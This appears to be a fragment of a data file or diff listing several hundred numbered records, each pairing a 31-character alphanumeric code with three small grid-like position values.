+3234,BL0TF5H1039LSJDAJ1RJHFE12FOGT9I=,51,4,1 +3235,VNJA0Q1GHKJLVIC1XEJJ1EELEBHIRV2=,51,4,2 +3236,FNT6I34F18AQXV7GEXO3NM7XNYP1F35=,51,4,3 +3237,EO5V1W0K5DGXVSJJQHJ4HCXJDBV2BVL=,51,4,4 +3238,HRNDBZJEABUZDMK223YOB7S7IIHKRIS=,51,4,5 +3239,QWUMYCGV53KHQ47W6USI8TGX7NDRFFL=,51,4,6 +3240,46M37C93QCOORAZ2GD8YAH86KSTLSY1=,51,4,7 +3241,ICSKFG3DID6Y45XIXG5HCDJABGEUWU6=,51,5,0 +3242,GGBREVJAUR7KR8T3S4KXY0APBZIOSAI=,51,5,1 +3243,Q4U8IOX108I2LALL3W326EXV2JJTC35=,51,5,2 +3244,WDDQFBNEQ1DS4GOK3YL68GEKMZYER62=,51,5,3 +3245,8EPI39ZPDGFXVRQ5FSWESJ5BRQIE3YP=,51,5,4 +3248,J8OEPVHS8ARGHT6XOWPP51J5ECY3RH0=,51,5,7 +3249,I3GTBMLDWISQ5Z7RRD0RS6WGZ5J96WM=,51,6,0 +3250,VY6UQTHAZZ5YE6RBU1039BK542QJ3Y0=,51,6,1 +3251,4R3WB6BB7P92K6RHF8KSRALJDMSFXEO=,51,6,2 +3252,CZODUFZN6RITM4641BW8QFM3WQ8A4YD=,51,6,3 +3253,J9VGS0DPWPAO4SSS20F687OKHD8B5GE=,51,6,4 +3254,N4Z23YW740PS7PV8ONDKMGDZUO8NIT3=,51,6,5 +3255,B5TWMAXWHNYMI39IYZIHOF6JGAHYCDA=,51,6,6 +3256,6PL21HH0LI2M7MC30L4GMFFAMUYGJ6L=,51,6,7 +3257,DT9RM45BE35F1ISOCZX7ESZLWSZNA2J=,51,7,0 +3258,GR69GNL4QUAR0KL5YF1HQAB40N4HHEP=,51,7,1 +3259,HDFE2J7HXCL76G0G3ZF0JFZJ4AURGXR=,51,7,2 +3260,5N9RPKF5FIX9VQG22XBAGP2WUDG4DEV=,51,7,3 +3261,T59N47NTSK6OBLLX7PKRJVEDLOQ099K=,51,7,4 +3264,G0RXLYPRT158UFSX3IP6IJUMSC9ZCBA=,51,7,7 +3265,B2U99NJ7UM4RHW1YTX1YAKDCXE2TGN1=,52,0,0 +3266,QEY3VRIV2UJYO6C4PHXQMXT0HT9GRHX=,52,0,1 +3267,ZE8IYDZGMTVDPQORDCOWMOAVK6W63FP=,52,0,2 +3268,7UC4SBLWS9NP93I8GE68V4R8DLKYYCB=,52,0,3 +3269,3W1XVJ2MU6AF2M0WZLPUT7TWYN0R40J=,52,0,4 +3270,AUADUIBA5K4LF42P2R85UAADWMOHSIC=,52,0,5 +3271,51G4KIO8IOG9Q0V430XFTIMS44J6AFI=,52,0,6 +3272,QMRXJ7AJKWB8WZETONSVDHF7W8IB0RE=,52,0,7 +3273,PNV5L4NCXIZAD8AQXMY5XWU5SSU7MK4=,52,1,0 +3274,YHUKNY6JLMLXUZX1BJC04DWIHM5FM7B=,52,1,1 +3275,77GTDIMALB1D3HVAI6B8N9J1QCP60G7=,52,1,2 +3276,3K1QYYL6B5ONKXQKAWUS3AVLBHREE9X=,52,1,3 +3277,OI5ER2TJM6BJZAVHW56EG6K5A9W3NIH=,52,1,4 +3278,NZ4EUT0W8K8XBGRW4ESIO8IMK5TBSS1=,52,1,5 +3279,EKUXUG4FXSRFDQQYN6AN2OU3VR8H64D=,52,1,6 +3280,2M85SSL65M3C66BCL6BVCVGJWQHZ086=,52,1,7 +3281,YAW88BBJ313X3J2HJXC6BB9846WJX84=,52,2,0 +3282,K7J9WCWS7EXPE87H5JGFZUW5XDKUBWP=,52,2,1 +3283,M7ADF3QZT1QWIDF5ZF19EFV4F7SLUUM=,52,2,2 +3284,FQWUOMQUC842GCHSVVQT3R75OOUO1AH=,52,2,3 +3285,R1WGZYXLBRPL9WMV7YSPD3IF80F1LHL=,52,2,4 +3286,CS4CNGJPMVTAHS6N0QO3CLH9SWFXMHK=,52,2,5 +3287,E1OKG88O24SW726CPFD52NAIVIHTE0O=,52,2,6 +3288,R5V78YFLAJCFMS4KKOQFVNSLVNTHCMT=,52,2,7 +3289,AE6Z152TBNVU5VUFY4BPA2L4MKY0L5T=,52,3,0 +3290,RPPC9JY3PX5AAPI91IJAH7ARTIAUP0U=,52,3,1 +3291,C5L0F0RMKHW8CLIKXEW621FRIBN28ZM=,52,3,2 +3292,HHQCGYSKF6Y7E0Q6KQH0XZRVXA222PV=,52,3,3 +3293,MY0VL5NRDQKAO21IWIHPE9JZ83OFL8J=,52,3,4 +3294,9FDU8HCBMFWLOHCWREYBL7WM7E6TYYM=,52,3,5 +3295,R417PWO10M20WWEXD81A8B2WNLDAEKD=,52,3,6 +3296,8KLYGDXTXM2ZFFRZ8A4UXK0UWVERR89=,52,3,7 +3297,JZJHLLHYGYBNI9JSFWHS4J5OP2H4BV6=,52,4,0 +3298,64GJVX1X8SI5YGZS68UV17JC5FZDKUA=,52,4,1 +3299,VOP0NA60GCYQTAP0LBDRMB1SXP81RI2=,52,4,2 +3300,7IUKLK9QTM7M8BZP6SKY77HSSSOJXE4=,52,4,3 +3301,FKVN7P5R4VYYLBNVPPJK0EFMFSN2JJB=,52,4,4 +3302,N2WDGVYYGBBNVVKRC3YUTVGUZ0CMJI1=,52,4,5 +3303,1UQOZVAY4CWSG8TCEULBHJ1GEEJW6WW=,52,4,6 +3304,RM16WDKWIDRRWY7O5YBXIYXYTAXSH54=,52,4,7 +3305,AGEOWB01IHS5WE7V8IBEG47LLKR70L9=,52,5,0 +3306,4N3OLAR4JQNTZK9WHSL92XBHXHD75TY=,52,5,1 +3307,ER8V1O494AQO0A3QGWGYWT3JJCXTLZF=,52,5,2 +3308,O15UQMHI5WL9WEGLMLYH2C8TN4DDOEW=,52,5,3 +3309,5QY0B9BW1EJ7DWCFPBEJ0Z2XRPDZPY0=,52,5,4 +3312,HG4SJX1Q47IF5NRRJVWIM8SE1PQREEB=,52,5,7 +3313,FYNPWFG9UTXZRTSGRVT71UOF5PJ1GSZ=,52,6,0 +3314,WW6OX1ZT8Q37X01Q7WQNH6G5CJIO4VI=,52,6,1 +3315,XPZ821DFS04HYW22RVPE8MLN9K6PB72=,52,6,2 +3316,D87AXQFTANZ18IGR6RSSCDNJ98X8AHT=,52,6,3 +3317,4D0N084EP5HJSK7XK2L8MY6K6BLT9R3=,52,6,4 +3318,J4PQ9295D2L75K6BGW76E3IAG84FX7J=,52,6,5 +3319,61VCT3GYSUQEXZAL8MZCBKJILLGOTVS=,52,6,6 +3320,XN6P438W862OJZMKCVDJRTQ5XOHTGZO=,52,6,7 +3321,P6MOQ9V73LKYECP3GXRE8CNO4QCT7B3=,52,7,0 +3322,IMNXHXXE4VMKK4RHZBIKHVB1ED0XGJQ=,52,7,1 +3323,SWCAXWLTFYMCWQ6C7BRJO1CGUCFBT2P=,52,7,2 +3324,GZRSZQAS3RJWEACE9ETGE3JGBOZJZZ1=,52,7,3 +3325,KTC71L9XR6T5NT79X6ZVVZ6BQSE2C3E=,52,7,4 +3326,T7769VH38WSE52NUJIFGNBUX12RCRJF=,52,7,5 +3327,Y1PZLDI4L9KA5XVKAKHCSGFAI78RKME=,52,7,6 +3328,7Q6DRQBL05CIDFHQCH4INZ415TSUBJE=,52,7,7 +3329,MMTL2DDPZMTKG1BHPYL222ZMWCB7N7P=,53,0,0 +3330,5K6EEQOPBWQ9086XYI9ECZJM4G3FI27=,53,0,1 +3331,AULJNFZB5OJGREZAVU3NNZ62OAYCQ9C=,53,0,2 +3332,UMO3XOE4Q0R49BO92SQDXV4C3Q5D7ZC=,53,0,3 +3333,UZBBY7G4175LN8XW6AEHGLXX50C66DC=,53,0,4 +3334,Q9Q4VP89MX5Q43TZA7FKI1R8SJL08VB=,53,0,5 +3335,UPOYD667I35PB2BC9YMKLKM96O6AIWO=,53,0,6 +3336,MB9P3I59YIA8LY7PP0RL5NBPJCECSTZ=,53,0,7 +3337,CW6JN16PKGKTHRG2ZG363FSAZGG0GES=,53,1,0 +3338,M5TDMM8WF9S5CZKE4ZHLPHTOD4V4IGZ=,53,1,1 +3339,IYA8RNI5YR76D64Q6MBR5P8CADHTPTE=,53,1,2 +3340,QJNE90SKBTNXN75YASMYZXB5OHGS2RT=,53,1,3 +3341,NKRM29H2QAC1Z0XRYFLYPTNGVUJLVAS=,53,1,4 +3342,73BUKHOS3BNBFG4CUOHUXJ3TJA83X3T=,53,1,5 +3343,QSE3IQSBFSP4AVQZ0NM2J33FNMXG1A1=,53,1,6 +3344,654DX1MEN8PGYW8J5ODCRC0CRX067VB=,53,1,7 +3345,84HYFN2N6WSNKEYTNJA8013Y5XSLALJ=,53,2,0 +3346,L7KDFIM9V1C0SK7J8T7VIT6XYZWO7E1=,53,2,1 +3347,CKEFCMZDWGL05XP51LYLGNVW0OXWR2Z=,53,2,2 +3348,IHLYD3R6PDTPZUZT75EZEAAS13THGK0=,53,2,3 +3349,65G8CLX1T8VZV500VBDNTGWS4A55NN2=,53,2,4 +3350,FIABSPK1H3PWKNCHC4RC87PPNMMOJ8I=,53,2,5 +3351,F6PL1ZIKA6SXZ78B5TDU0HFOXNG8Y7D=,53,2,6 +3352,RBDK7UPPB3QUL9YVLKC45UF1XSTJ8ZT=,53,2,7 +3353,7DV4R1MQ9K7FXRV53GM1PHEXP7NHRY2=,53,3,0 +3354,DI06HI1EC146NJ39CWW9E25FFME5I2Y=,53,3,1 +3355,AM8E7CMCYWRIWZSENP9XXT5D5BXT4OD=,53,3,2 +3356,CIHX4S9GXJFSFHN9TPM5CB4SDZN8DQG=,53,3,3 +3357,7UIQRVHPUELRY5TOBD4FDZEG8JH2C2P=,53,3,4 +3358,55QEDQAPRA10FDHM3244GPEMR7DT2TH=,53,3,5 +3359,RV7ABD4XMYFF4OTSD14KAHFLJHQK3QZ=,53,3,6 +3360,LIVPBK0XMPMFNHOGETQG95ADRGN81QJ=,53,3,7 +3361,IEHEK4OFVO15AEGQUIN2SNWLNGXIUJR=,53,4,0 +3362,68XIYP4PYGU6TWV9A53D0DR8HT0RJQ0=,53,4,1 +3363,DCZRS4J768TPT0KXHH5AYIA56TOVB92=,53,4,2 +3364,ENTAJ1DFVJJ9ZWHI3ZAV0LRRV45YELC=,53,4,3 +3365,4AQPWRK57GOINFATR4Q3AONULMOV3QD=,53,4,4 +3366,FVS9GJJ2YSG0V4QUOC4LDZQD8EPKOZX=,53,4,5 +3367,I12D496YQIHLJBO1SBDQVEUFTNSJXQH=,53,4,6 +3368,P24638ZJGP1Y4UAE0S921F7GI1GLB70=,53,4,7 +3369,ESOT30L8F0O6EFUXS9HGRDB461T04RF=,53,5,0 +3370,OUFRNP5SL1P7UMINCO6H5WRHIN64Q29=,53,5,1 +3371,5TAV341NLXZSOQ7GMMNLMKGZIJS0JER=,53,5,2 +3372,7K85PQ7DZ9OC0YR02LHCD1JJRKRM5NZ=,53,5,3 +3373,HCKPOYIINFOZOWCPTC33BU7NHTTTPL4=,53,5,4 +3376,1L8U6Y2SAEWIOYDGZMF6MDEE8JIAHIZ=,53,5,7 +3377,BJGMG73AMD8773GV2MDAJ9YXL4F43V0=,53,6,0 +3378,FLL6SS9QKY8SW75IMB1B61KERYDRQKD=,53,6,1 +3379,PP84E3W5VZCXE6VQH4P2NJXV2H9C3YD=,53,6,2 +3380,X10V8RFNII179J1DCA6Y0ZKCPK06U93=,53,6,3 +3381,2CX35PAU7IWPJ3Y9YCRCZVZVUJ5IF55=,53,6,4 +3382,6BOKOC87J9FI8GSLJ5KE0AT3UBFBPB3=,53,6,5 +3383,0M9VE9KCSYUN7TC11XUPNVN9C7OA9FR=,53,6,6 +3384,5VOAOMZ9V8TF5217W1UENOZ5GSPZBAV=,53,6,7 +3385,6CR9R77EA0O78LKUSHPO6RJXWKYHN6Z=,53,7,0 +3386,DAIJ8TCYFH5YPII27T8U93A8A9MESZ9=,53,7,1 +3387,JWKA4H01OYQUCWOMFXU580W887R0FCR=,53,7,2 +3388,CTIHSVCRR7452I98XG86X16387ZYO2O=,53,7,3 +3389,NK4X40NVB8SPE7Y1R5PWUR4H0H0EOI9=,53,7,4 +3390,8K06NWJVOE6ORLC4E1I36AS9P5DFPGT=,53,7,5 +3391,2LQ5RPOL8Y4K26YU5DL7N90GXWI8Z54=,53,7,6 +3392,WIIPMIQ1CTR8UMR99WGW7MXFDXGYE0M=,53,7,7 +3393,PWMUCLOLCA75H5DGZQD0SIWNL6NVJ5T=,54,0,0 +3394,KL5QNJ8TTTXI7G4DQT9IX6CICTSDQ29=,54,0,1 +3395,I6CNOBE81XTTLHOX9QQNEM4S8292MAM=,54,0,2 +3396,M9CHC4H5KS8BOG6XRUP0AX3MTM95ALX=,54,0,3 +3397,2MDPOS6SSVNVDYMC4UUJCRYG4LU5QAY=,54,0,4 +3398,TQR4KDDJCJSVKFPD771EPNMOF62FYEH=,54,0,5 +3399,AK2SFNP693BZWJMR4KV2DDGD7QGAWLO=,54,0,6 +3400,1YHTQG1Z1K6FEY354LRBWCMIWRMXBTR=,54,0,7 +3401,4JV7RL73M4MJN1RYD0MDCE5SWH7J6R3=,54,1,0 +3402,MWELRVFPPGQQQ92VNNOJ1F9K4MJRKMH=,54,1,1 +3403,W3OHX1ZDB98NV718QYK3W7OJBO5UKI6=,54,1,2 +3404,LNQGJTU8MP3N5FC9EC4CEBECLFGYH7L=,54,1,3 +3405,16AMIXY5R49153LUC848HO40U1WGWSE=,54,1,4 +3406,HDR6Q751S6M1TIBAZWQ4ZU3ZJPFJP67=,54,1,5 +3407,2HHJEV87TBXS0OPCJAH9TDMZD5AS4SX=,54,1,6 +3408,P4GU5J5XKTYVL3Q1WB8L4GHEI0RXHRR=,54,1,7 +3409,4MYG84P1ZZR1GYJBR86YS9XC4ODU4R2=,54,2,0 +3410,X07V4ILNNTBPHO4H706MK8M1G8AMWZT=,54,2,1 +3411,EQZZBXF07892F09IWW0MJUF7FCFTFXI=,54,2,2 +3412,RRGDZ16YBI8M16VBIX535KJ2MEINDOW=,54,2,3 +3413,G1CGMMCSAP9MERCJWRW7YN8KM1OBZCG=,54,2,4 +3414,IV6GYN9IPCJ6G6YO1BDNRJTRCSWHGPR=,54,2,5 +3415,ZGP8WPGY4EC1DWFWVMZVHEAV529LX28=,54,2,6 +3416,HF3YOZ0MJSZ5UR8S3UK90MULQ2JESWJ=,54,2,7 +3417,WVE6OZ44BV7M1W6R5Z7X3WV2632Z2O0=,54,3,0 +3418,Z8DNVWAQPP4Z6V5ZXKC9KTRQTJSCLI2=,54,3,1 +3419,A8QVFNPWK92ECAEFTX8RI7QW2T8TMUI=,54,3,2 +3420,58LJ2TOIPPV58T0X40AGKHYMA38IH55=,54,3,3 +3421,TCMQ0330RZ5ERWN0QK7RQ1XXAZ4RNV4=,54,3,4 +3422,T1LFQARNYO1TW0T5W53Y1X343B7SWF7=,54,3,5 +3423,P6PTRNT4K29QOBWHO59JFXWGQH8Q3LF=,54,3,6 +3424,1CYTYX55KGGKUITT62YDGZ5VD1HM70R=,54,3,7 +3425,V7IA1D4C3V1W2Z2W8Q4SSVCN8SQNWYS=,54,4,0 +3426,QL1Y4K7M8R6RDUO92T9EMXZ2H3S8DVW=,54,4,1 +3427,QBJVRMRPJDLWB4SH8VEKEL7FQWDSLDA=,54,4,2 +3428,X0IMRYRTUAKDNXX6JDQMPCMRGQWDPZE=,54,4,3 +3429,ER9R5TVCAD08YHA1COYKBKPHYNRBSU1=,54,4,4 +3430,7KB8R32XRTEZXC0BQR6J3R3UJK8NT89=,54,4,5 +3431,BK5XQ6XEPVP4P5408JH65T872K0EFF9=,54,4,6 +3432,XTFZ3GB1D9F5SVXZCBGSJ704P5K2MDI=,54,4,7 +3433,V3LSA3W9EBJYH9XUS4NXF06R996BEWZ=,54,5,0 +3434,WHN8FAZTKNJ06XK1MNODYUWPNRYFLIP=,54,5,1 +3435,8QPHH18KSWAIRY28WYDDCXEFDF3UON7=,54,5,2 +3436,AWPJVK08TOODSOM0C9USZGHRAVZ9D2C=,54,5,3 +3437,I2MI855RR97EN5FXSVQLQ1N4NNS1B0M=,54,5,4 +3438,26NK3ODJVUZAZTABVPHCP7BGHC6ZRQQ=,54,5,5 +3439,U55WV9OFH1820DD3V1PUNHWGNYPKGTN=,54,5,6 +3440,Y8U3MHPPLGVGB8NEHZYA5NQ6QUIHQ21=,54,5,7 +3441,D3OIJAMHVADXRFWMKB6PW28ZUIR28E2=,54,6,0 +3442,B9VWFT5IHPIY4E18HEUOFDRTLPNF4U6=,54,6,1 +3443,MPINVO32X9W9KD76XKWFU48CWPDAIZZ=,54,6,2 +3444,BXGL05J5YTK3E9WJ87QNSBSCGKUP7BT=,54,6,3 +3445,U2IUHIJRNN4RDEBPHP26G7WHWAENPAT=,54,6,4 +3446,9QOLOVX0NGCIM978NDRR2FSXKXH2V91=,54,6,5 +3447,FFZFPVK05SVVE1NN0E61WRYJG3ZZTDO=,54,6,6 +3448,GRVZ5QGV9EI47N13O1WKOMG934VZ5WS=,54,6,7 +3449,WJ2TW5HBKRYWK5V9C0IYPVTAHKW61CU=,54,7,0 +3450,ABW2U1EC5VEKEN3YT4D2SD9GGK3IBTZ=,54,7,1 +3451,ECXLBXGH1QWQ1NM0DH13SB5O5YCC0O2=,54,7,2 +3452,S74QV27NKIV1OBUUVL1I5TXYSUO9IH8=,54,7,3 +3453,8Q7AS67NSDJSSBWSVANS8EVH5V3GC1M=,54,7,4 +3454,7Z5OXI9IFVQ2CK2KJIZBA4Y3JBB0083=,54,7,5 +3455,G4U57537JNF7NID95N4ZDADFEJ6WLI6=,54,7,6 +3456,APGA9GOZZZOZNH19JKB76F7FL9SSXVC=,54,7,7 +3457,P9PO7U6XNMYK2PGBDPU9AZLM7GYIOYI=,55,0,0 +3458,AEVCHFAB8W7NZ45YTNSZLNY59O5OFNB=,55,0,1 +3459,LXGD1ZKJJHJM9PI2P5APND1ZPVYNPR7=,55,0,2 +3460,IUTXD1P29VL89KGKBCCZ8OI90VH48F7=,55,0,3 +3461,OWEOTM3F98C1BNV9M9RSL2Z7OY30N8B=,55,0,4 +3462,2EY32W88XIQGMM3ITRALRD9U8V6959W=,55,0,5 +3463,C96C8Y2XIEI0CQXNSB3C5K79LNEQLIM=,55,0,6 +3464,9BFGZ1CKM773T3HLK73129JVZGV2ABO=,55,0,7 +3465,LP1R19MQKUCLCHJN7X5G0YAOI5P7LP2=,55,1,0 +3466,9INJ2RARKHEUVPJWSOACDJJEWGL7DM3=,55,1,1 +3467,YC3JRWJR4JUSLKZLT0X0WX4YLKG4TUZ=,55,1,2 +3468,8XN0L4ZGVRGVDK14J1POWLYPFGUZE0G=,55,1,3 +3470,IPHWB6GKPMOW5IAF18W6PF2RX3EZ56W=,55,1,5 +3471,17NNX6OTAUF40Y63YONOI8Q13FLJ12R=,55,1,6 +3472,9GA30C7QDX7FXEP6PAC3ROAUFGL8CJO=,55,1,7 +3473,ARD5FL9K2DMQQCP7U7NX9K6628QXFVB=,55,2,0 +3474,00PDWMH8OFQKZEIPODTQ5JW2XJGL924=,55,2,1 +3475,WMIK6WCV42CBQO4EBF9ZUOGGNJ8Z0UX=,55,2,2 +3476,T2O0QNBMB8XZC7H09U6DZIS0Z15JZWT=,55,2,3 +3477,MKKRIG0RR78J2CNWMMHOM6Q1E01BI90=,55,2,4 +3478,UGAR3P319RSE6AE8CHJZA15WB3DPRXO=,55,2,5 +3479,G5YDE4DE4JF138A7MTWF5ZBU0COXD1F=,55,2,6 +3480,WV03LXNI5DT64ZBKK5WBEYU1J2A0V00=,55,2,7 +3481,XDY0J7OYN0BR6PF9FJ9LC44683HFM7S=,55,3,0 +3482,VFWJC16ZGIIVD0H3KYYGUAJBUZ8IHRW=,55,3,1 +3483,G6I510B990MHANC1X6YIT80UX1Y8DZU=,55,3,2 +3484,963508AR8QHO80FD03GK14F4O8U2OD5=,55,3,3 +3485,QLWEEJUXCVH4GFETHTYZD9XBQQNU7SD=,55,3,4 +3486,YN9P74XAAYG7F7XSY6EVGNGLOIZUX89=,55,3,5 +3487,5AC2UHGEZWNL0QU18OTSALXRU0YMR57=,55,3,6 +3488,Q42TQZK8RHGAYQ79KQPOL4R9BB95H1M=,55,3,7 +3489,EX6568EY7K12L51OM9NFDEWG7FQ7LJD=,55,4,0 +3490,2IUEZT57LGGB54JYVB7ZTGUD2OXGPM3=,55,4,1 +3491,O3SM3SGOGUT0T4NN91JZEEBN0ZXTL9I=,55,4,2 +3492,1081OMJCP06W45EO5URI6TCTFRFVDVP=,55,4,3 +3493,3T22PAOZ4IK7IVKL9PDLP4T0NCYZLTF=,55,4,4 +3494,07PLBKDQOEFVOPVG3FJED4FBSCNEJXD=,55,4,5 +3495,QEM9MF5GTG2VYUO1J1LYOP5IQYMNY27=,55,4,6 +3496,T6FV30KY021BU16ZSMGG5TVCE5U57F7=,55,4,7 +3497,5H3G35MAHDL8EGXDK288MTXICDIBV5N=,55,5,0 +3498,GD7TADK32QQKPARSACPUSG4ZBEINNKP=,55,5,1 +3499,DWF9RTFAR9VHX4HKHM3MQRHUI5XRLOZ=,55,5,2 +3500,AGYR8BT05TUAXFBXYD3IIN1EM2KIAKL=,55,5,3 +3501,U7L7APV36XCT2BU5KVR4E7SP39OTHS7=,55,5,4 +3502,7WWWT3XMFQNNDP0M3FL84R9K9M4B1JH=,55,5,5 +3503,LMLW549I7L032ZQ6XI1GPVCRDSRB19X=,55,5,6 +3504,8LH0UJUHYW5YDX8JJU12OLOE8OB9UXV=,55,5,7 +3505,GK6YA7IEC5X8PJEBSVK9VIVX4WPH1HM=,55,6,0 +3506,41IW5LFN2V1JNC1YYS3TVE3NYOG18AG=,55,6,1 +3507,71WVSRVX3URR8KT7C9SUC7HJ3QAKXSI=,55,6,2 +3508,AELS075K82JAKF8H8CXMYEYDYQUH874=,55,6,3 +3509,IBVRNVQTFOKVG77SSPE9GZZ8NDDWU3G=,55,6,4 +3510,YA9HES66MPXT833ZOMNFKV76DKLRQY5=,55,6,5 +3511,KE9KONW6GZS0SPEQ0SR6WYLASNB9OBG=,55,6,6 +4494,20Z6RC2DSA1E6D6NDWAPL3TGCTAYZON=,71,1,5 +3513,FIWH9UR3O6N88SD11WNMIQUJ48MVPJR=,55,7,0 +3514,V8VHR5AIZSMUUI2JLWOUKO7R3BS7TO8=,55,7,1 +3515,DD561E82YC75ROJTDJNQKIQDHTBW282=,55,7,2 +3516,GYRQ5Z7ESHN5QUYLTWJSYMFD72U39D8=,55,7,3 +3517,ILMAUPKJYC2CNO9EOXP12TIWL2DWSI9=,55,7,4 +3518,EZOEEOKLQGHA4G0NUXQJ5B7U1F59TYL=,55,7,5 +3519,C3X4MGKU0YV2TFU3AGWHN7VY3PB1SM9=,55,7,6 +3520,DI46A0M0U0B2DD6IOFA347WRB530DNM=,55,7,7 +3521,8JQ5W9I2QXG6IOWVVBLD9Z1T36BPVTJ=,56,0,0 +3522,EE7T1XH1YMB1Z8EK9X7BXOGT3HZ51Z6=,56,0,1 +3523,VE378Z3MJT9LV62R3G3RV4UXOQ4U693=,56,0,2 +3524,RMOQ03SG2EW9BKPOXGMISPXU2ELF5MY=,56,0,3 +3525,016TTWCD22T1534AAXW5I0K0SFNADX4=,56,0,4 +3526,WSBZWMJDSNE0AT6NJVTS9NWJ2H6UA1M=,56,0,5 +3527,PFTG1LO6MP361142NHWIYJSIECD30QR=,56,0,6 +3528,NNIS5EUQJXWPQRNFPKBFZK0CNRPFHQ6=,56,0,7 +3529,TDC64N0AJV2MGDYXWZDA5IGJI7X4GC6=,56,1,0 +3530,ER51ZW8W63K36XP6EDQ79I9PZJML5YW=,56,1,1 +3531,H98CBDJQ5AGY6LGQ0G69VRW7GIWT8SQ=,56,1,2 +3532,7JLF3PNVEQCN6QBC090TP818VI8WYSY=,56,1,3 +4495,KJ1MDOZ4ZGK6KI0Q6L5HTCEQT0K96YM=,71,1,6 +3534,09RBB7WLD9QCP2KL13Y7EA97GSR5BCG=,56,1,5 +3535,9D9S35YJ8LAXJPJ9SNCJDLMNZLMTHYB=,56,1,6 +3536,B8OFM2HKZLAJIJH160ST1A4DQEQ4D72=,56,1,7 +3537,TQ6B31LMHP27HHDUI1EOTGCV5UOCFCS=,56,2,0 +3538,78EOKEVE8ZHMY5DPVORP8Y5PK8F4455=,56,2,1 +3539,TZ26XOCYYLI6PE2NOS1U2GHJJ4FXVPU=,56,2,2 +3540,ABORW1GKPLTZ8AHTJYQ5KGRXQ9GE89M=,56,2,3 +3541,I2G8ADIS21W78B6NLYOVFVNNW3QTROK=,56,2,4 +3542,4FHDZ4UPLFKCOF173JT33S72G7DTSBM=,56,2,5 +3543,72RCRKFKXJWUO1ZTLXRU7VABFHG6JM4=,56,2,6 +3544,MIICA3AGVZGE8G8HSIQ2NZT985NPSLE=,56,2,7 +3545,Y4CYIBUASTADLE6A52XGWMCZK9C2WPY=,56,3,0 +3546,YYY01AU32LGX7BON1WJ3OXM78BXYBP2=,56,3,1 +3547,L9WA8P3U4CGJ7HKE3U8FSTY652FZOFR=,56,3,2 +3548,VYWADVDMCG8RHJTASLXMONES26QAWLH=,56,3,3 +3549,YMZKSSBLB7SAZ0EFG1QWTFYMWH7MCJ2=,56,3,4 +3550,7S2Y62TQSJ2CGZJ0YYUZ1RYS6H0PRWG=,56,3,5 +3551,BG482ZJ2ANIVGKMH3PM29XTDELO3Z8A=,56,3,6 +3552,1QYB071I5DU2C7GTCWOR9ICU3H5H1ZM=,56,3,7 +3553,UQ2CCIUMTNEWIDD83WOETPH2E3TJ7YI=,56,4,0 +3554,V4XDCXGQXDDKYDCLC4E8RBV2F6UOE0O=,56,4,1 +3555,EOQ2IJ45VDRC1ZB18UCUP83LXWLKWWG=,56,4,2 +3556,R7QVJYJG4MRJWC3J5HTIUREDBECAAV1=,56,4,3 +3557,SCOYARCUMJ3HQCIJ0GSPJS2NHLEFGCH=,56,4,4 +3558,81H3R3EZU8EB8PIQ6R01VV2TBGI6UCF=,56,4,5 +3559,JL2R2FN4ABUWZG4U3U8VP8P31IFXLM7=,56,4,6 +3560,AJAFFD7VBONX4TYWQ2OU1VYXQTL0N64=,56,4,7 +3561,2VFK8O49A66MLV71KX7CDEDMEEVOCBA=,56,5,0 +3562,7Q2Z9JAGP8JSGTY78XYG4TUCGKX8LPJ=,56,5,1 +3563,4IIQ4PXYSTYTYZWDN3GPEB3TBG9GWZD=,56,5,2 +3564,COIBN3O90IWTNVDWHP27Z07WV906KGI=,56,5,3 +3565,8CY4WNJRMMYI4E5C0WZGC9FP6Q0JYJG=,56,5,4 +4496,DIRIMGOGSVXEHHO8X6DQM4IRTZ0AI6Y=,71,1,7 +3568,3UT4Y8F2KIG7LJMF99UI5CA6KRQ869K=,56,5,7 +3569,58VXUJPFX4YQJK4EVUN4NJWAVMB19VH=,56,6,0 +3570,8FMSD5MDIOB9Z08MJVIAEFQHWNHB1LM=,56,6,1 +3571,H04T4KTO8JGG63V2A27246QF2XDDQ2A=,56,6,2 +3572,7O27M8GGD36Z4M4ETUMR7RRY1B80977=,56,6,3 +3573,Y6G8ANB4O6CVCLO3QT0X1C2RATSUAN1=,56,6,4 +3574,R755X52K5KP5BT5DLUU9TC47IVP0K79=,56,6,5 +3575,BMZNBBL0VKHUCKFLQNDIILP9YN7GI8P=,56,6,6 +3576,1J6L1D086AAWK2710NMSB5T7QX85726=,56,6,7 +3577,QTZMCECVV0FIPKYPC9YXNBDCNMMLAPY=,56,7,0 +3578,MMWHOM4W7O7QW9FLSOHSNGZ5DVTWTHS=,56,7,1 +3579,XRDXCUS5AWE43MPF5P5FFRNOS2TYN3H=,56,7,2 +3580,ESJK0UHXIDD5ORGDLX3Z5VBWHGIWW9J=,56,7,3 +3581,KYGL03DT6D3QCIPQWB8IGOVZTJC189H=,56,7,4 +3582,GOHM6QCK71EBMTHHNRH0E5F1EXURUGE=,56,7,5 +3583,VKBX6580A0GYO5ROBE6FFWI5KB2TB9E=,56,7,6 +3584,7Q5I77VU23IJNS2EJHCGJVXZZ6S0OQB=,56,7,7 +3585,KTINM6Z085ROW4P4GZ45OJ8SIXXMI83=,57,0,0 +3586,JI2GNDD28XSHXTT59FJRM0GSSK2BIA2=,57,0,1 +3587,KKVMK3ILP8HHIIXG0GRETRVJ6OIIWVX=,57,0,2 +3588,ZGH6NLU2RFU42GIG7FSNG7WZIS3SNLA=,57,0,3 +3589,I3QZ01E172UXNQJ3HYSGSF2RX1KMNKD=,57,0,4 +3590,AW7NNI7O0A9VMP9RVFYDUZL8WFH71O3=,57,0,5 +3591,SO33POUNXCKAB7HQTTE7SWR1ZGI97M7=,57,0,6 +3592,P89652IUFQVNXPHIBB5A3W5KTMF7RFW=,57,0,7 +3593,PB6ZB2ZGDWASNCAYWWFS1IKQLY8Y8SK=,57,1,0 +3594,UFLBL54KIVC9BYI1IIK4H7DBMDK3U35=,57,1,1 +3595,8DMRPR36UBO8MFE4DAX4VWPFNZJVBAD=,57,1,2 +3596,5OPAUHE7610SYGVZ09D56VV13ZC0R77=,57,1,3 +3598,V4KFD6SHY7HDR21D55Q0X2XG89FYVSF=,57,1,5 +3599,E8HJY8WMA5WR2ZQ6929J42CIYNJ1W0V=,57,1,6 +3600,S2KXS4IQLNC6ZU0Z3SQ8R9IDGUTWORZ=,57,1,7 +3601,SV10HRNVGQ72ZPC9Y8NGI33QL2MVGLA=,57,2,0 +3602,H8Q4S436E8RKT0R0YN2RN7O9OZZCW0Q=,57,2,1 +3603,UB3JW99L7FL4MIC5GP6DXSYYHXL0E4Q=,57,2,2 +3604,KCG1R968X36K8KWK7THD85HG7HHWURB=,57,2,3 